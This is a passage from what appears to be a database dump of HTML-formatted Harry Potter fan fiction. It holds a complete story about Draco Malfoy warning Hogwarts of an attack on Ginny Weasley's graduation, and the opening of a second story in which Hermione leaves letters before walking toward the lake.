doesn\'t belong to me either - Linkin Park gets all the praise.\n</p><p><b>Authors Notes</b>: Well, this is really the second in a series of stand alone prequels that accompany my fic Somewhere In Between so if you haven\'t read it and want to know how the whole thing ends up then you can just check that out or if you prefer the happier ending take this as a stand alone and imagine how it goes :) \n</p><p>I hope you all enjoy and if you want to ask any questions then feel free to email me. \n</p><p>~ ~ ~ ~ ~ \n</p><p><i>I tried so hard,</i>\n</p><p><i>And come so far,</i>\n</p><p><i>But in the end it doesn\'t even matter.</i>\n</p><p><i>I had to fall,</i>\n</p><p><i>To lose it all,</i>\n</p><p><i>But in the end, it doesn\'t even matter.</i>\n</p><p>~ In The End - Linkin Park ~ \n</p><p>~ ~ ~ ~ ~\n</p><p>Ginny sat and nervously tapped her hands against her legs as she looked from side to side at the faces of her house mates. This was it, this was what she had been waiting the past seven years for. Graduation. She took a deep breath as she looked towards the front at Professor Dumbledore as he began to speak. \n</p><p>"I know that your school career has been dogged with tragedy - the pain of loss has never been far from our hearts. Unfortunately, the times we are now living in means that the three losses your class have watched the school suffer during your time here can no longer be considered isolated occurrences - we can no longer assume that the school is the safe haven we all wish it could be. As safe as we make you all - until the force of good wins we will forever be forced to remember those who have left us too early. On that note, and before we begin the much happier business of graduating let us take a moment to remember one of your own year who should be here celebrating with us today. Mr Colin Creevy, I\'m sure will be smiling on you all today." \n</p><p>Ginny looked down and bit her lip as Dumbledore bowed his own head. Three students had died in the seven years she had been at Hogwarts. In fact they had all died in the last four years, since Voldermort\'s resurrection. Cedric Diggory, Dean Thomas from her brother\'s year and - she felt her lip tremble slightly - Colin. Her friend. Who should have been there with them. She reached over and took Hannah Monaghan\'s hand and gave it a reassuring squeeze. As hard as it was for Ginny to remember the pain of Colin\'s death it would be so much worse for Hannah who was still wearing the bracelet Colin had given her at Christmas. She felt herself smile at the memory of seeing him return to Hogwarts, soaking wet because he had been caught in the rain after traipsing around Hogsmeade late on Christmas Eve looking for an engravers to personalise his girlfriends gift. \n</p><p>Ginny closed her eyes and took a deep breath before turning back and looking at her parents and brothers who were looking at her proudly. She forced a small smile onto her face as she turned back towards Dumbledore - she couldn\'t dwell on the past. Colin would have wanted them to enjoy this - it was a once in a lifetime moment and if she didn\'t enjoy it she would always regret it. There would be enough time in the future to remember the past. Dumbledore cleared his throat loudly and gave a warm smile to the students as he began to speak. \n</p><p>"Well, as this is a day for celebration I feel it is my duty to congratulate you all on a successful seven years and to wish you all luck with your chosen professions. May you all stay safe, live your lives well and enjoy your freedom! Congratulations to the newest graduating class of Hogwarts!" \n</p><p>Ginny cheered with the rest of her year as they threw their hats up and the professors shot a variety of charms up in the air: some creating fireworks, others creating streamers, others balloons and birds. She immediately looked for her closest friends and hugged them - the absence of Colin apparent but one that she was determined she wouldn\'t let get to her. This was it after all. She was now a graduate. She could now practice anytime she felt like it, she was no longer a child. She broke away from her classmates and ran over to her family and jumped up and down as she reached them. \n</p><p>"That was beautiful, Ginny. Oh Arthur, our baby\'s all grown up," Molly exclaimed as she looked at Ginny mournfully. \n</p><p>Ginny rolled her eyes good-naturedly as her mum wiped her eyes "Mum, come on, I\'ve been grown up for a while now." \n</p><p>Arthur hugged his daughter close to him. "This is a new experience for your mother, this is the last time she will be here for a graduation until she has grandchildren." \n</p><p>Molly began to sniff again as she looked over at her group of sons who had now walked over to join them. "And that\'ll be a while with all of them." \n</p><p>"What will be while with all of them?" Fred asked as he messed Ginny\'s hair like you would with a dog. Ginny swatted him away as Percy gave him a disapproving look. \n</p><p>"Having grandchildren," Molly said as she reached over to fix Ron\'s tie. \n</p><p>Fred laughed out loud at the suggestion, "Oh yeah, I\'ll tell Angelina we should get started right away. To hell with her Quidditch career...or the wedding..." \n</p><p>"Or the engagement?" George added with a grin. \n</p><p>"Well, she\'d say yes anyway..." \n</p><p>Bill looked at Fred with a smirk. "You\'re awfully sure of yourself." \n</p><p>"Yeah, when she\'s not here. You should hear him when she\'s about. Talk about henpecked," George said as he dodged Fred\'s elbow. \n</p><p>Ginny smiled at her brothers good natured banter as Charlie came up and hugged her tight. "You did good, Gin. So, how does it feel to be ready for the big bad world?" \n</p><p>Ginny looked at him and couldn\'t contain her excitement. "I cannot wait. I don\'t know if it\'s nerves or excitement at being in a different country." \n</p><p>"I don\'t think I like my baby spending as much time away from home again. You should take some time home now Ginny. The place will be empty," Molly said as she looked at her daughter. \n</p><p>Ginny reached over and hugged Molly as Charlie looked at his mother reassuringly. "Look on the bright side, Mum. We\'ll all be out your hair now. You\'ll have the Burrow to yourself." \n</p><p>Molly looked at Ginny aghast and began to sob as Arthur winced and wrapped his arms around Molly\'s shoulders. He looked at his kids and smiled apologetically. "Your mother is just a bit emotional." \n</p><p>Ron looked over at Hermione and Harry who was standing beside him and whispered. "No kidding?" \n</p><p>Ginny smiled as she walked over to Hermione and hugged her. "Well, that\'s me. All done here." \n</p><p>Hermione smiled. "See, no problem. I told you it would be easy. I knew you could handle being on your own here without us. Now you\'re done you should come train to be an Auror like me and Harry - they are going overboard on recruiting just now, what with You-Know-Who\'s activity." \n</p><p>Ginny shook her head and looked at Harry and Ron who were both shaking their heads behind Hermione\'s back. "Um, no...I don\'t think so..." Ginny managed to get out while stifling her giggles. \n</p><p>Ron reached over and took Hermione\'s hand and looked at Ginny. "Don\'t listen to her, Ginny. They have both turned into right annoying twats since they joined that. Nearly as bad as Percy for job obsession. You as well Harry..." \n</p><p>Harry shifted and looked at Ron, trying to keep from smiling as he gave his best offended look. "I resent that..." he turned to Ginny and smiled, "he\'s just annoyed because he couldn\'t stick it." \n</p><p>Ron rolled his eyes. "I\'m sorry, my idea of a good time is not watching big spiders keel over in front of me. I much prefer where I am, thank you very much." \n</p><p>Ginny smiled as she looked at him proudly. He was much happier where he was training in the Ministry. Not an Auror exactly but still dealing with Dark Arts and, more exactly, dealing with Dark Art objects, Potions and spells as opposed to the wizards themselves. He had found his niche and loved his job because it was different everyday. \n</p><p>"And I\'m not obsessed with my job," Harry protested. \n</p><p>"You can say that again - if you did half the reading you were supposed to do you would have more fun..." \n</p><p>Ron and Harry began to laugh at Hermione as Ron hugged her close. "That\'s a girl Hermione, lecture Harry for not studying enough at my sister\'s graduation..." \n</p><p>Ginny couldn\'t trust herself not to join in the boys good-natured teasing of Hermione so she quickly turned around and began to walk away to find her parents. "I...I think I\'m going to go see if Mum has calmed down. See you soon, and don\'t pick on Hermione...." \n</p><p>She couldn\'t really hear Ron\'s reply but the tone was enough to make her laugh as she walked over to her parents. "Feeling better, Mum?" \n</p><p>"Much," Molly said with a smile. "Oh you all got a beautiful day today." \n</p><p>Ginny nodded her head. It was beautiful, exactly how she had imagined her graduation would be. \n</p><p>"Well, Molly, Arthur...how does it feel to be here for your last child\'s graduation?" Ginny span around to see Dumbledore standing behind her and she smiled. \n</p><p>"We\'re very proud," Arthur said happily as he reached over and gave Ginny\'s shoulder a squeeze. \n</p><p>"Good," Dumbledore turned to Ginny and smiled warmly, "and what about you? How does it feel to be the best Transfiguration student of the year?" \n</p><p>"Um, like it shouldn\'t be me..." Ginny began honestly, "I think I got lucky that Rashia from Ravenclaw missed as much school after Christmas." \n</p><p>Dumbledore nodded his head in understanding. "Well, Professor McGonagall doesn\'t believe so. What is your..." \n</p><p>"Professor!" \n</p><p>He was interrupted before he could continue by a call from behind him. They all span around to see a figure running towards them, broom in one hand and other hand holding their ribcage as they ran. Ginny took a step forward as Dumbledore stopped and looked as the figure stopped and pulled back his hood. Draco Malfoy. \n</p><p>"Pro...professor," Malfoy began to say as he looked at Dumbledore - his voice laced with determination. His grey eyes were wide as a trail of blood fell from his nose. \n</p><p>"Stand back Dumbledore," Arthur said as he drew his wand, "the boy\'s a Death Eater!" \n</p><p>"Dad..." Ginny began as she looked at her father, intending to tell him to put his wand down and let Malfoy speak but before she could she was interrupted. \n</p><p>"Did...did you work...that out...yourself, Weasley?" Draco forced out as he drew his own wand and pointed it at Arthur while still bent over in pain. \n</p><p>"Malfoy!" Ginny said angrily as she stood in front of her father. "Put your wand down!" \n</p><p>Dumbledore shook his head and looked at Arthur. "It\'s fine, Arthur. I think Draco has something urgent to say, don\'t you?" \n</p><p>Draco nodded his head as took a deep breath. \n</p><p>"When is it happening, Mr Malfoy?" Dumbledore asked simply as Draco dropped the broom and straightened up. His hand still caressing his ribs. \n</p><p>"He...he said..." he took a deep breath and winced as Ginny stepped forward and looked at him as she pulled her wand and muttered a spell to help him breathe. He looked at her as he gasped and sank to his knees as the oxygen flooded into his lungs. \n</p><p>"Ginny! What did you do?" Molly asked as she pulled her daughter back. \n</p><p>Ginny looked down as Draco got back to his feet and nodded his head in acknowledgement of Ginny. She fought the urge to slap him - she had told him this would happen! She had told him it so many times and she had been right. Idiot. \n</p><p>"He said that tonight would be the perfect opportunity as there would be a number of alumni present - one in particular," Draco said as he took a deep breath and held his ribcage. \n</p><p>Dumbledore nodded his head and gave a small smile to Draco. "I am assuming they weren\'t overly impressed with your decision to give us a warning?" \n</p><p>Draco closed his eyes and dropped his wand as he looked down. "I fell..." \n</p><p>"If that\'s what you want us to believe..." Dumbledore nodded his head and sighed. "Another year, another graduation ruined." He turned and looked at Molly and Arthur, "Molly, could you please go and find Minerva and ask her to assemble the students and the parents into the school building?" \n</p><p>She nodded while Arthur looked at Draco, the distrust evident in his expression. "How do we know you\'re telling the truth?" \n</p><p>Draco looked at him and smirked. "You don\'t. Maybe I\'m just trying to get all the Aurors here so that we can take the Ministry or Diagon Alley..." \n</p><p>"I wouldn\'t bet against it." \n</p><p>"I wouldn\'t bet at all if I was in your financial position," Draco said airily as he looked at Arthur. "I told you what\'s happening. I am not here to make you believe me." \n</p><p>Ginny shook her head as Dumbledore stood between Draco and Arthur. Even when he was ill he couldn\'t not be an annoying prick. "Arthur, I believe Draco is telling the truth..." \n</p><p>"Would he be willing to take Veristratum?" Arthur asked without taking his eyes of Draco. \n</p><p>Draco picked up his wand and broom and began to walk away. "I don\'t need this from someone like him! Don\'t act on the warning I\'ve given you, the cull of so many Weasley\'s would no doubt be a good thing anyway!" \n</p><p>Ginny turned to her father and Dumbledore. "What, are you just going to let him leave? If it\'s true he\'ll be killed!" \n</p><p>Arthur looked at her blankly as he turned to Dumbledore. "I\'m going to let the Ministry know." \n</p><p>Dumbledore nodded his head as Arthur walked away. Ginny looked at him. "Professor?" \n</p><p>"This isn\'t a prison, Ginny. If Draco doesn\'t want to stay..." \n</p><p>"But you know he\'s telling the truth." \n</p><p>Dumbledore looked at her and smiled. "I do, but how do you know that he\'s telling the truth?" \n</p><p>She looked at Dumbledore and shrugged her shoulders. What kind of a question was that? He knew as well as she did that Malfoy wouldn\'t show up at the school beaten to a pulp just to lie to them. She was about to voice this when she heard a loud shout from behind her. She turned abruptly to see Ron, Harry and Hermione running with their wands out. She looked to see what they were doing when she heard a curse coming from Hermione. \n</p><p>"Malfoy! You have a nerve coming here!" Harry shouted as he reached Draco who was now on the ground. "You know that we are looking for Dark wizards don\'t you?" \n</p><p>"And I wonder if you have any tattoos which we can look at and imprison you for?" Ron said as he grabbed Draco\'s arm and pulled up his sleeve to reveal the Dark Mark burned black into his arm. Ginny looked at Dumbledore quickly before running over. \n</p><p>"Ron..." she began as she reached them. \n</p><p>"Go man handle Potter, Weasley. That\'s what you\'ve been wanting to do for the past eight years anyway isn\'t it? Or do you prefer playing with your Mud-Blood girlfriend? After all, your kind would enjoy slumming it." \n</p><p>Ron\'s face flushed as he pulled his arm back and punched Draco hard. "You shut your filthy mouth about her!" \n</p><p>"Harry! Ron! Hermione, that\'s enough!" Dumbledore\'s voice seemed to boom from behind Ginny as everyone stopped moving. \n</p><p>"Mr Malfoy came here to help and as such he will not be attacked by anyone. Is that understood?" \n</p><p>Hermione looked at Dumbledore like he had gone mad. "Professor...he\'s a Death Eater. We have a duty to..." \n</p><p>Dumbledore looked at her sternly. "Ms Granger, I do not believe I was asking for a discussion on this? We have far more pressing things to worry about than an ex-Death Eater." \n</p><p>Harry snorted in laughter as he looked at Draco who was struggling to his feet. "Ex? Why, because he said he was? You heard what he said to Hermione. Ex-Death Eaters don\'t go around saying that." \n</p><p>"And future Aurors don\'t go around fulfilling their own personal vendettas," Dumbledore said simply as he looked at Harry. "Yet here we have a prime example." \n</p><p>Harry shifted uncomfortably under Dumbledore\'s penetrating gaze. "Mr Malfoy came here to warn us about an attack, I believe you should all go and find Arthur and we will discuss the course of action we will be taking." \n</p><p>Ginny looked at Draco who was now on his feet looking sadly at a piece of chain that had been broken in the fight with Ron. She looked down at her feet - it almost felt wrong to look at him when he looked like that. She opened her eyes and noticed something shining on the ground and reached down and picked it up. What was it? She picked it up to discover that it was a locket - beautiful and silver with a piece of chain still attached. She looked up and over to Malfoy who was still looking at the piece of chain desperately - it must have meant a lot to him. She took a deep breath as she took a step towards him and put the remainder of the chain and the locket into his hand and closed it over without saying a word that would alert the arguing others. \n</p><p>He looked at her in surprise as he wrapped the chain amongst his fingers. \n</p><p>"Thank you," he whispered almost inaudibly. \n</p><p>She took a step back in surprise. Had he just thanked her? Draco Malfoy? \n</p><p>"We are not arguing about this. Go see your father Ron, and I will be in shortly," she heard Dumbledore say with authority. \n</p><p>Ron, Harry and Hermione shook their heads and turned away from him reluctantly as Harry turned his head back to stare at Draco. "Fine, but if you hurt anyone while you\'re here Malfoy, I promise you I will hurt you!" \n</p><p>Harry\'s voice echoed as he walked ahead angrily. Ginny almost smiled - they had been graduated a year and the old feud between the blond and the black-haired boy was still going strong. \n</p><p>"Ginny, come on," Ron said simply as he turned towards her. \n</p><p>"Ginny is going to take Mr Malfoy up to the hospital wing," Dumbledore said as he turned to Ginny whose eyes had widened. \n</p><p>"That is, if you don\'t mind?" \n</p><p>"I don\'t think so, no sister of mine is being left alone with him!" \n</p><p>Ginny felt her anger rise - he was telling her what she could and couldn\'t do? She looked at Ron and then to Dumbledore. "I don\'t mind." \n</p><p>"Ginny!" \n</p><p>"Ron!" she echoed back in anger. \n</p><p>Ron shook his head in disbelief. "You touch her, Malfoy and I swear I will kill you. Ginny, if he touches you just kill him alright?" \n</p><p>"You\'re going to kill me and Potter\'s going to hurt me? It almost make\'s me want to touch her to see your feeble attempts at being threatening..." \n</p><p>Ron glowered at him and looked ready to pounce. "Ginny, leave him there - come on, you\'re coming with us!" \n</p><p>"I can bloody well look after myself!" she turned abruptly away from Ron and grabbed Draco\'s wand that was on the ground and took his arm and began pulling him towards the school. "Come on, Malfoy." \n</p><p>~ ~ ~ ~ ~ \n</p><p>The journey to the castle had been a silent one not to mention a slow one. \n</p><p>"Are you okay?" she asked finally as he trailed behind. "You are a lot quieter than usual. I haven\'t had one insult off you." \n</p><p>He caught up with her and shrugged his shoulders. "Would you like me to insult you? On your graduation?" \n</p><p>Ginny sighed as she took his free arm to help support him as they climbed the stairs.. "No, but that wouldn\'t normally stop you." \n</p><p>"So, you may as well say it," he said finally as they reached the top of the stairs. She looked at him quizzically as she guided him into the hospital room. What was she supposed to say? \n</p><p>"Say what?" \n</p><p>He let out a laugh as he glanced around, saw no one there and sat down on one of the beds. "Tell me you told me so. Don\'t tell me you weren\'t thinking it when I showed up here?" \n</p><p>She blushed slightly as she shifted uncomfortably. "Well, I did. I told you last year, and I told you again when you were back here this year what would happen. I knew you couldn\'t do what they do..." \n</p><p>He turned away from her. "And I proved you right." \n</p><p>She looked at him awkwardly. "It\'s nothing to be ashamed of. Nothing. It\'s something you should be proud of." \n</p><p>He let out a bitter laugh and looked out the window as he muttered. "Tell that to my parents..." \n</p><p>She took a step towards him - he was clearly hurting and needed someone to tell him it would be okay. She looked at the man on the bed in front of her, he had never looked as fragile as he did there. But, she reasoned as she took a step back again. He was a Malfoy. He was a Death Eater. He knew how to play people. The others wouldn\'t like it if she stayed with him. \n</p><p>"I\'m...going to find Madam Pomfrey and then I\'m going downstairs. Try and rest, Malfoy." \n</p><p>He looked at her briefly with a sad smile. "Fine. Enjoy the rest of your graduation, Ginny." \n</p><p>She nodded as she backed out the room quickly and walked away breathing deeply before stopping. What was she doing? Why was she leaving him? Would she leave anyone else if they were in that state? Would she care what anyone thought? She looked back in and saw him now standing with his head against the window looking out. She had just left him when he needed someone, anyone to tell him he\'d done the right thing. What did that make her? \n</p><p>She walked back towards the door and opened it with a smile. "I figured that since you\'re not actually dying right now we can probably wait for Madam Pomfrey to find her own way up here." \n</p><p>He turned towards her. "You don\'t have to stay. I can look after myself." \n</p><p>She shrugged as she sat down at the bottom of the bed. "I know that. To be honest, I\'m avoiding the others. They still treat me like a child." \n</p><p>He walked over to the bed and sighed as he sat down. "And they are letting you stay up here with me?" \n</p><p>She shook her head. "I think they realise that you are in no position to threaten anyone." \n</p><p>He looked at her with a disbelieving expression. "And that\'s it?" \n</p><p>"That, and I know you wouldn\'t hurt me," she said simply as she looked directly at him. It was true, for some reason she knew that he wouldn\'t, ever since sixth year she just knew. It wasn\'t that they liked each other or anything, he was just Malfoy. But he didn\'t scare her the way he scared Ron and Harry. They were different with each other for some reason. \n</p><p>He smiled slightly at her. "And you know that how?" \n</p><p>"Well, would you?" she asked as she gave him a probing look. \n</p><p>He let out a laugh as he turned away from her. "For a Weasley you are very confident on the impression you have had on me." \n</p><p>"Answer me and I\'ll apologise if I\'m wrong," she said with a faint hint of laughter on her voice. \n</p><p>"Probably...no. No I wouldn\'t be able to hurt you," he turned away from her, "just due to the fact that it irritates your family no end to see me talking to you. You\'re worth putting up with for that reason alone." \n</p><p>She rolled her eyes. "Oh, thanks a lot, Malfoy." \n</p><p>"You\'re very welcome, Weasley." \n</p><p>As they sat a few moments in silence she stood up and walked to the window. What was going to happen now? Would the Death Eaters just come and start blasting the school away like they had at Hogsmeade. Like they had when Colin was there... \n</p><p>"They will probably get the wards up in time to stop them getting in. I wouldn\'t worry. It probably won\'t be as bad as the Hogsmeade attack," Draco said quietly from the bed abruptly bringing her out of her thoughts. "There are plenty of Aurors here. They will have one look at them and leave." \n</p><p>Ginny took a deep breath and turned around. "I wasn\'t thinking that..." \n</p><p>He looked at her. "Of course you were. I was there, remember. You had the exact same look on your face after the Hogsmeade attacks." \n</p><p>"You don\'t know me that well Malfoy," she said quietly as she picked up a sheet of parchment, "you don\'t know what I was thinking." \n</p><p>He looked at her and nodded his head. "True. But that same argument has never stopped you from analysing my thoughts in the past, has it? Tell me what you were thinking then." \n</p><p>"Just...just about what I\'m going to be doing for the next year..." she lied as she sat back down at the foot of his bed. \n</p><p>He nodded his head as he gave a winch in pain. She couldn\'t disguise the worry she was feeling as she looked at him. Perhaps he needed more help than she could give him? "Do you want me to go get someone?" \n</p><p>He shook his head as he breathed deeply. "I\'m...fine." \n</p><p>"What...what did they do to you?" \n</p><p>He stood up and walked to the window. "Nothing. I don\'t think most of them know yet." \n</p><p>"But? Your parents do?" she asked quietly. She knew what kind of person Lucius Malfoy was so she could only imagine what he would do. "Your father does?" \n</p><p>He didn\'t turn around as he spoke quietly. "What have you decided then? For next year?" \n</p><p>She shook her head in frustration. Why could she never get a straight answer from him? "Medi-wizarding. I have a four month intensive stint at school in Munich and then I come back here after Christmas to intern Madam Pomfrey and take my animagus training." \n</p><p>He nodded his head as he turned back to her. "See, that didn\'t take much thinking about." \n</p><p>She stood up and took his cloak from the bed and hung it up. As she did she pulled her hand back and saw it slightly red. Blood. She turned back to him as he sat back on the bed and looked up towards the ceiling. What was going through his head? "You\'re hurt." \n</p><p>He turned to her and shook his head wearily. "I\'m fine." \n</p><p>She walked over to him and held out her hand. "See that? Blood. Your blood. You don\'t have to tell me what happened but at least have the common curtesy of not lying to my face." \n</p><p>He turned away from her. "You should know all about common..." \n</p><p>"Stop it!" she slammed her hand down against the covers. "All I am interested in Malfoy, is whether you are hurt or not, which you clearly are." \n</p><p>He closed his eyes and reached out and unbuttoned his robes to reveal a gash across his ribcage. Not deep but wide and painful looking. "I fell off my broom." \n</p><p>She winced as she looked at it. "You mean when Lucius knocked you off it?" \n</p><p>"How many times have I told you not to mention my family?" he asked, anger lacing his words as he moved to get up. \n</p><p>She put her hand out to stop him. "Stay there, let me clean it in case it gets infected." \n</p><p>She stood up and took a deep breath as she went to the sink and filled a bowl of water. This was not how she had envisioned spending her graduation. Cleaning up Malfoy\'s war wounds. She grabbed the bowl and walked over to him. He shook his head as he got up. "Forget it. It\'ll get fixed soon." \n</p><p>She walked around to him and stood in front of him. "Why do you have to make everything so difficult? Just sit down, be quiet and let me help. I can\'t do a lot with what the others are getting ready to do. But I can help with this - even if I can\'t use the magic that the others would use. Let me help, OK?" \n</p><p>He looked at her and sat down. "Fine." \n</p><p>She nodded her head and walked towards him and reached over and carefully moved his robes back. She reached over and took a damp rag and began to gently wipe the crusted blood away. "This might sting a bit..." \n</p><p>She looked up at him expecting him to be wincing instead he just looked ahead stoically. She looked at the bloodstained rag and dipped it in the clear water turning it red. "How long have you been like this?" \n</p><p>He shrugged his shoulders. "A few hours..." \n</p><p>She winced as she cleaned some more. "I did tell you this would happen. I told you that you couldn\'t do it - that you were too good for them." \n</p><p>He gave a forced smile. "I knew you wanted to say it." \n</p><p>She looked up at him as she began drying off the wound. "I wanted an opportunity to say it." \n</p><p>"I guess you got it." \n</p><p>She smiled at him as she threw the towel in the basin and put gauze over the wound. "I\'m glad I did. I knew you weren\'t as insufferable as you would like us all to think..." \n</p><p>He laughed lightly as he pulled his robes over and she got up. "I am that insufferable..." \n</p><p>She smiled as she walked to the sink again and washed her hands. She had helped. More than she would have been allowed to do downstairs. \n</p><p>"I suppose I should say thank you?" his voice sounded from the bed. \n</p><p>She span around and looked towards him. "You don\'t have to." \n</p><p>He looked at her: looking even paler than usual and shook his head. "I know I don\'t but...for this and for the locket...I...I\'m grateful." \n</p><p>She walked towards the bed again. She had forgot about that. "You\'re welcome. Since you\'ve saved all of our lives today it is really the least I could do I guess, even if you did still insult my brother\'s girlfriend," she paused for a second before continuing, "what was in the locket?" \n</p><p>He looked at her. "Why is that any of your business, Weasley?" \n</p><p>"It\'s not. But I might be here for a while and we don\'t exactly have a lot in common..." \n</p><p>He looked at her before reaching in and pulling out the silver piece of jewellery and opening it up and handing it to her. She fingered the delicate piece carefully and looked at the wizarding photo of a little boy laughing with a woman. She smiled involuntarily. So he really wasn\'t born with the scowl on his face. "Is that you? Laughing?" \n</p><p>He reached over and looked at her unimpressed. "No, I carry some other person\'s photo around with me - graduation hasn\'t really improved your common sense has it?" \n</p><p>She looked at him apologetically. "Sorry. So, is that your mother? She looks...different now." \n</p><p>He took the locket, closed it back up and put it into his robes. "She is different now. We\'re all different now." \n</p><p>She nodded her head. "How did you get it? The locket I mean?" \n</p><p>"My mother gave me it, as a parting gift as I probably won\'t see her again," he said simply as he looked away from her. \n</p><p>Ginny looked at him aghast, what was he talking about? She was his mother. "Of course you\'ll see her again." \n</p><p>He turned to her icily. "When? At the annual \'I Betrayed The Dark Lord\' ball?" \n</p><p>She inched back. "No...but, you know...she\'s your mother." \n</p><p>"She\'s a Death Eater\'s wife. The fact that she\'s my mother is irrelevant." \n</p><p>She looked at him. That couldn\'t be right. That she wouldn\'t let him see her. "That\'s not true..." \n</p><p>"You don\'t know anything about it," he turned away from her bitterly, "you don\'t know how we work." \n</p><p>She nodded her head to herself. "Thank God. If that\'s how the Malfoy\'s treat their families..." \n</p><p>She expected a scathing reply but as none came she suddenly felt bad. It had clearly affected him more than she would have thought it would have. She never knew that the thought of never seeing his mother again would upset him so much - she had never thought he had any feelings for anyone apart from himself. "Malfoy? Why did you come here today?" \n</p><p>He shrugged his shoulders without looking at her. "I just...just didn\'t want this place to be ruined..." \n</p><p>She reached over and without thinking took his hand. "Thank you." \n</p><p>He turned around and looked at her and for the first time she saw how fragile he was. His eyes, normally so sure of himself - a clear sign of his pride and arrogance were now almost dull and pained. Like all the fight had been beaten out of him. He looked different. "I didn\'t do it for you," he whispered. \n</p><p>"But you still did it," she smiled at him as she took a deep breath, "despite what else happens after today. You should know that you\'ve done the right thing. A good thing. A heroic thing." \n</p><p>It felt like it was important to say it. To let him know how important it was what he\'d done, how much they would all appreciate it. She pulled her hand away as he smiled slightly. "First time for everything..." \n</p><p>She laughed, glad that she had at least managed to get a reaction from him. Although, she reasoned, she would prefer him to be back to normal and insulting her. At least then she would know he was okay. "Now you know what Harry felt like at school." \n</p><p>Bingo. She grinned as he rolled his eyes and tossed his head. "Only a Weasley would dare compare me with Potter. I thought you were smarter than the rest of them, evidently I was very much mistaken." \n</p><p>"Hey," she stood up, "don\'t knock it...you might like it." \n</p><p>He snorted. "Yes, I am having a fantastic experience just now, in the hospital wing, broken ribs, bleeding and in a small room with a Weasley." \n</p><p>She turned and opened her mouth to reply when the door busted open and a small witch appeared. "Sorry, Professor Dumbledore just told me. How are you feeling, Mr Malfoy?" \n</p><p>Ginny sighed as she walked towards the door. She looked over at Draco as Madam Pomfrey looked at his ribs. \n</p><p>"You did a good job at keeping this clean without magic, Ms Weasley. You will make an excellent medi-witch," Madam Pomfrey said with a proud smile. \n</p><p>"She will...even if her bedside manner needs some work," Draco said as he looked at Ginny intently. \n</p><p>Ginny looked at him and felt herself start to blush under his penetrating gaze. She wasn\'t sure that anyone had looked at her like that before and she wasn\'t prepared for the reaction it invoked. She shifted immediately and walked to the door. "I...I guess I\'m going to go now. Um, I hope you... feel better Malfoy. I\'ll...maybe see you before we...leave. But if not...you know, good luck." \n</p><p>She turned and closed her eyes. What was wrong with her? She shook her head and chastised herself as she began to exit the door when she heard him call behind her. "Congratulations on your graduation, Weasley. Sorry about the interruption." \n</p><p>She leaned her head back in the door and looked at him. "If you hadn\'t interrupted people would have died...so I think it\'s a fair trade." \n</p><p>"Please stop saying that. You are destroying the remnants of my formidable reputation." \n</p><p>She grinned at him. "Trust me, I haven\'t even started destroying that yet, but I will. See you Malfoy" \n</p><p>She walked away with a smile. It was a fair trade off and she would make sure he knew it at every available opportunity. And that everyone else did as well. \n</p><p>~ ~fini~ ~ \n</p><p>\n'),
	(149, 1, '\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">Chapter 1:&nbsp; The\nAttempt</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione Granger sighed and set down her quill,\nfinished.&nbsp; She had spent most of the\nnight on this.&nbsp; She quickly made a copy\nof her document and then lay her wand on her bedside table, along with the\nlocket Harry had given her for Christmas. She rolled up the two lengths of\nparchment and set them on her bedside table as well. Then she changed into her\nfavorite dress, a sky blue and yellow striped one.&nbsp; She went to bed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~The Next Morning~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione woke up feeling gloomy. She knew what she was going\nto do.&nbsp; Now she just had to do it. She\nstood up and picked up the two rolls of parchment. Sighing, she brushed her\nhair out and and took a final look at the picture of Harry on her beside\ntable.&nbsp; Slowly, she picked it up and\nkissed it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I love you Harry,&quot; she whispered, setting the\npicture down and walking out of the dorm.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As she walked through the Common Room, she purposely dropped\none of the rolls of parchment on a table.&nbsp;\nThen she headed over to the portrait hole, walking past Harry and Ron\nwithout a glance.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hey, Herm, where\'re you going?&quot; Harry asked.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Nowhere.&nbsp; Just\na walk,&quot; she replied casually.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Can I come with?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;No!&quot;&nbsp; She\nsnapped this unexpectedly, and immediately regretted her tone.&nbsp; &quot;I need to be alone,&quot; she added\nquickly, fleeing.&nbsp; She walked through\nthe silent halls down to the Entrance Hall, where she pinned up the second roll\nof parchment to the bulletin board.&nbsp;\nThen, just as she was about to walk out, someone spoke.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hello, Granger.&quot;&nbsp;\nShe whipped around.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;What do you want, Malfoy?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I want to know why you\'re so dressed up today,\nMudblood,&quot; Malfoy replied, sneering.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Go shove it up your ass,&quot; Hermione replied,\nturning.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Excuse me?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I said, <i style="mso-bidi-font-style:normal">go shove\nit up your damn ass</i>!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Why, you little....&quot;&nbsp; He started toward her, most likely to slap her or some other form\nof torture.&nbsp; She immediately ran\noutside.&nbsp; Surprisingly, he didn\'t follow\nher. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">\'<i style="mso-bidi-font-style:normal">Thank God</i>\', she\nthought as she ran to the edge of the forest.&nbsp;\nShe began to walk slowly along it, heading for the lake.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">###In the Common Room###</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;What\'s with her?&quot; Harry asked. 